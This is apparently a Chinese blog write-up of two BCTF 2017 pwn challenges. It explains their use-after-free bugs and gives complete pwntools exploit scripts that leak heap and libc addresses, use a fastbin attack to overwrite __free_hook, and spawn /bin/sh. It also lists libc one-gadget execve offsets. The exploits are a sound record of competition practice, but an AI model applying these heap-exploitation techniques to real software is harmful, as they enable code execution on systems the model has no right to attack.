bctf2017賽后總結

這次比賽只做了兩道入門題,感覺還是思路太窄了。不過,還是學到了一些新姿勢。

babyuse

root@kali ~/桌面# ./babyuse 
 _                                         
|_)_. _ _o _ ._  |  _  _. _| _  /\ ._ _    
| (_|_>_>|(_)| | |_(/_(_|(_|_> /--\| | |\/ 
                                        /  

Menu:
1. Buy a Gun
2. Select a Gun
3. List Guns
4. Rename a Gun
5. Use a Gun
6. Drop a Gun
7. Exit

這個題應該算是比較明顯的UAF漏洞


漏洞位置

Select_id源于Select a Gun中


Select a Gun

Select_id需要保證對應的guns_flag不為0,但因為Select a Gun和Use a Gun是兩個獨立的功能,那么完全可以先調用Select a Gun并輸入一個合法的select_id,接著調用Drop a Gun將這些指針都釋放掉,最后再調用Use a Gun。因此總的利用思路為:首先buy 4次,然后select,接著drop,最后use以泄露libc地址。
Paste_Image.png

泄露地址的事就比較簡單了,修改函數指針,使其指向system函數


Paste_Image.png

不過,直接調用system可能會存在一些問題,因為v3指向的是槍支的結構體指針
Paste_Image.png

第一部分vtable指針,這一部分必須覆蓋為偽vtable表,不過因為這個題是32位程序,我們可以把/bin/sh附加在vtable指針后面,并用“;”截斷命令


Paste_Image.png

完整的利用腳本如下

#!/usr/bin/env python
# coding=utf-8

from pwn import *

slog = 0
debug = 0
local = 0

if local:
    p = process('./babyuse')
    libc = ELF('/lib32/libc.so.6')
else:
    p = remote('202.112.51.247',  3456)
    #libc = ELF('./libc.so')
    p.recvuntil('Token:')
    p.sendline('BwmDoZoJ9QjSFF65dgYP5eoNjGvoYl7K')

if slog: context.log_level = 'DEBUG'


def buy(gun_type, length, name):
    p.recvuntil('7. Exit')
    p.sendline('1')
    p.recvuntil('2. QBZ95')
    p.sendline(str(gun_type))
    p.recvuntil('Lenth of name:')
    p.sendline(str(length))
    p.recvuntil('Input name:')
    p.sendline(name)

def drop(index):
    p.recvuntil('7. Exit')
    p.sendline('6')
    p.recvuntil('Choose a gun to delete:')
    p.sendline(str(index))

def select(index):
    p.recvuntil('7. Exit')
    p.sendline('2')
    p.recvuntil('Select a gun')
    p.sendline(str(index))

def use(option):
    p.recvuntil('7. Exit')
    p.sendline('5')
    p.recvuntil('4. Main menu')
    p.sendline(str(option))

def rename(index, length, name):
    p.recvuntil('7. Exit')
    p.sendline('4')
    p.recvuntil('Choose a gun to rename:')
    p.sendline(str(index))
    p.recvuntil('Lenth of name:')
    p.sendline(str(length))
    p.recvuntil('Input name:')
    p.sendline(name)


buy(1, 0x50, 'a')
buy(1, 0x60, 'b')
buy(1, 2, 'c')
buy(1, 2, 'd')
select(2)
drop(0)
drop(1)
drop(2)
drop(3)
buy(1, 0x20000, 'a')

p.recvuntil('7. Exit')
p.sendline('5')
p.recvuntil('Select gun ')
leak_heap = u32(p.recv(4))
print 'leak_heap addr is', hex(leak_heap)

p.recvuntil('4. Main menu')
p.sendline('4')

heap_base = leak_heap - 0x20
buy(1, 0xf4, 'a' * 0xdc + p32(heap_base + 0x11c))

p.recvuntil('7. Exit')
p.sendline('5')
p.recvuntil('Select gun ')
leak_libc = u32(p.recv(4))
print 'leak_libc addr is', hex(leak_libc)


if local: 
    libc_base = leak_libc - 0x1b37b0
    system_addr = libc_base + libc.symbols['system']
else:
    libc_base = leak_libc - 0x1b27b0
    system_addr = libc_base + 0x3ada0

print 'sytem addr is ', hex(system_addr)

p.recvuntil('4. Main menu')
p.sendline('4')

drop(1)
buy(1, 0xf4, ('/sh\0' + p32(system_addr)).ljust(0xd8, 'a') + p32(heap_base + 0x28) + p32(heap_base + 0x11c) + ");/bin/sh")

if local and debug: gdb.attach(p, open('debug'))
p.recvuntil('7. Exit')
p.sendline('5')
p.recvuntil('4. Main menu')
p.sendline('2')

p.interactive()

poisonous_milk

root@kali ~/桌/poisonous_milk# ./poisonous_milk
Welcome to rainbow poisonous milk system authored by Xudong Huang
You can leave your flags here~
Milk Guide: 
[p]ut a poisonous milk
[v]iew all poisonous milks
[r]emove one milk
[d]rink pocari sweat
[q]uit the system
> 

這個題有兩個問題:UAF和未定義指針引用。
UAF出現在drink_milk中,不難發現在釋放了milks指針后并沒有將其清空,那么在釋放后重新申請內存就可以控制milk->head和milk-tail,只要能夠泄露堆地址,就可以做到任意內存分配和釋放,后面就是通過對堆的攻擊實現任意內存寫


Paste_Image.png

未定義指針引用


Paste_Image.png

如果輸入的顏色不在預定義的范圍之內,v1->color最終將是一個未定義的值,并且,在不斷添加牛奶的過程中,會觸發多次不同大小的堆申請與釋放操作,通過構造合適的堆塊大小就可以泄露出堆地址和libc地址
Paste_Image.png

在泄露了堆和libc地址之后,我們的目標就是通過fastbin attack控制EIP了
Paste_Image.png

但程序開啟了FULL RELRO保護,沒有辦法修改got表,因此只能修改libc上的函數指針,一開始對fastbin attack不是很理解,所以選擇了一條比較曲折的方案:
通過fastbin attack往fastbin數組中寫入0x61用作fastbin偽堆頭

Paste_Image.png

攻擊成功后就可以在arena最在的內存段中寫入0x61

Paste_Image.png

然后再次通過fastbin attack控制main_arena->top并使其指向__free_hook附近,并在多次分配內存后控制_free_hook。具體代碼如下:

#!/usr/bin/env python
# coding=utf-8

from pwn import *

slog = 1
debug = 1
local = 0

if slog: context.log_level = 'DEBUG'

if local:
    p = process('./poisonous_milk')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('52.27.136.59', 6969)
    libc = ELF('./libc-2.23.so')
    p.recvuntil('Token:')
    p.sendline('BwmDoZoJ9QjSFF65dgYP5eoNjGvoYl7K')

def put_milk(flags, color):
    p.recvuntil('> ')
    p.sendline('put')
    p.recvuntil('flags (0-99):')
    p.sendline(flags)
    p.recvuntil('color:')
    p.sendline(color)

def view():
    p.recvuntil('> ')
    p.sendline('view')

def remove(index):
    p.recvuntil('> ')
    p.sendline('remove')
    p.recvuntil('index : ')
    p.sendline(str(index))

def drink():
    p.recvuntil('> ')
    p.sendline('drink')

def ljust(astr, length, padding = 'a'):
    return astr.ljust(length, padding)

for i in range(20):
    put_milk('1', 'atack')
view()

p.recvuntil('[17] [')
leak_heap = u64(p.recv(6).ljust(8, '\x00'))
print 'leak_libc is', hex(leak_heap)
p.recvuntil('[18] [')
leak_libc = u64(p.recv(6).ljust(8, '\x00'))
print 'leak_libc is', hex(leak_libc)

drink()
put_milk(p64(leak_heap - 0x120) + p64(leak_heap - 0x120 + 0x28), 'attack')

payload = p64(leak_heap + 0x40) + p64(leak_heap + 0x60) + p64(leak_heap + 0xb0) + p64(leak_heap + 0xd0) + p64(leak_heap + 0x10) + p64(leak_heap + 0xd0)
payload = payload.ljust(0x50, 'b')
put_milk(payload, 'red')

if local:
    libc_base = leak_libc - 0x398b68
else:
    libc_base = leak_libc - 0x3C3B88
system_addr = libc_base + libc.symbols['system']

log.info('system_addr is '+ hex(system_addr))
free_hook = libc_base + libc.symbols['__free_hook']

put_milk('d'*0x50, 'red')
payload  = p64(0) + p64(0x41)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0x51)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0x41)
put_milk(payload, "red")


put_milk(ljust(p64(0) + p64(0) + p64(0) + p64(0x61) + p64(0) + p64(0), 0x50), 'red')

remove(1)
remove(0)

log.info("fastbin attack")
put_milk('/bin/sh\x00'.ljust(0x10, 'a') + p64(0) + p64(0x51) + p64(0x61) + 'a'*0x8, 'red')
put_milk('\x00' * 0x40, 'red')
remove(1)
remove(0)
put_milk(ljust('a'*0x10 + p64(0) + p64(0x61) + p64(leak_libc - 0x50), 0x50), 'red')
put_milk(ljust(p64(0) + p64(leak_heap + 0x40), 0x50, '\x00'), 'red')

remove(0)

log.info("control main_arena->top")
put_milk(ljust(p64(0)*6 + p64(free_hook - 0xa90) + p64(leak_heap + 0xb0) + p64(leak_libc - 0x10)*2, 0x50, '\x00'), 'red')
for i in range(10):
    put_milk('\x00' * 0x50, 'red')
for i in range(4):
    put_milk('\x00' * 0x50, 'red')
put_milk('\x00' * 0x30, 'red')
for i in range(4):
    put_milk('\x00' * 0x50, 'red')

put_milk('\x00' * 0x30, 'red')
#view()
put_milk('\x00' * 0x20, 'red')
put_milk('\x00' * 0x20, 'red')
put_milk('\x00' * 0x20, 'red')
if local and debug: gdb.attach(p, open('debug'))
put_milk(ljust(p64(0)*6 + p64(system_addr), 0x50, '\x00'), 'red')
remove(0)
p.interactive()

控制_free_hook的難點在于_free_hook附近沒有可以構成偽堆頭的數據,如果想要控制就只能通過任意內存寫或通過控制main_arena->top來進行任意內存分配。

其實本題還可以嘗試其他思路:修改_malloc_hook,正常情況下,只有允許分配任意大小內存才可以通過_malloc_hook拿shell,因為申請的內存大小對應的是/bin/sh字符串的地址。類似的,還可以修改morecore、stdout結構體vtable等函數指針。

那么有沒有可能在不傳入/bin/sh地址(也就是不控制參數)的情況下拿到shell呢?翻了一下libc,發現幾個gadget

.text:03F2DF loc_3F2DF  
.text:03F2DF        lea     rax, aBinSh+5   ; "sh"
.text:03F2E6        lea     rsi, unk_39A540
.text:03F2ED        xor     edx, edx
.text:03F2EF        mov     edi, 2
.text:03F2F4        mov     [rsp+188h+var_148], rbx
.text:03F2F9        mov     [rsp+188h+var_140], 0
.text:03F302        mov     [rsp+188h+var_158], rax
.text:03F307        lea     rax, aC         ; "-c"
.text:03F30E        mov     [rsp+188h+var_150], rax
.text:03F313        call    sigaction
.text:03F318        lea     rsi, unk_39A4A0
.text:03F31F        xor     edx, edx
.text:03F321        mov     edi, 3
.text:03F326        call    sigaction
.text:03F32B        xor     edx, edx
.text:03F32D        mov     rsi, r12
.text:03F330        mov     edi, 2
.text:03F335        call    sigprocmask
.text:03F33A        mov     rax, cs:environ_ptr_0
.text:03F341        lea     rdi, aBinSh     ; "/bin/sh"
.text:03F348        lea     rsi, [rsp+188h+var_158]
.text:03F34D        mov     cs:dword_39A480, 0
.text:03F357        mov     cs:dword_39A484, 0
.text:03F361        mov     rdx, [rax]
.text:03F364        call    execve
.text:03F369        mov     edi, 7Fh        ; status
.text:03F36E        call    _exit

對于這一段代碼,我們有四種方式可以拿到shell

1:控制rbx為"/bin/sh" ["sh","-c","/bin/sh",0]
2:控制rdi為"/bin/sh" 傳統的system ["sh","-c","/bin/sh",0]
3:控制[rbp+0x30] 為 0, 跳到0x03F33A [0]
4:控制rax為 0,跳到0x03F2E6 [0,"-c",shell,0]

第二個gadget

.text:0B8ABF loc_B8ABF:   
.text:0B8ABF       lea     rdi, aBinSh     ; "/bin/sh"
.text:0B8AC6       mov     rdx, r12
.text:0B8AC9       mov     rsi, r13
.text:0B8ACC       call    execve

這個需要滿足的條件是r12和r13是兩個可訪問的數組指針,并且所指向的數組也是可訪問(具體的原理可參考execve的調用規則)

第三個gadget

.text:0D6845    mov     rax, cs:environ_ptr_0
.text:0D684C    lea     rsi, [rsp+1D8h+var_168]
.text:0D6851    lea     rdi, aBinSh     ; "/bin/sh"
.text:0D6858    mov     rdx, [rax]
.text:0D685B    call    execve

其實這幾個gadget大同小異,但使用條件各不相同,需要結合實際的情況進行分析。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,606評論 6 533
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,582評論 3 418
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,540評論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,028評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,801評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,223評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,294評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,442評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,976評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,800評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,996評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,543評論 5 360
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,233評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,662評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,926評論 1 286
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,702評論 3 392
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,991評論 2 374

推薦閱讀更多精彩內容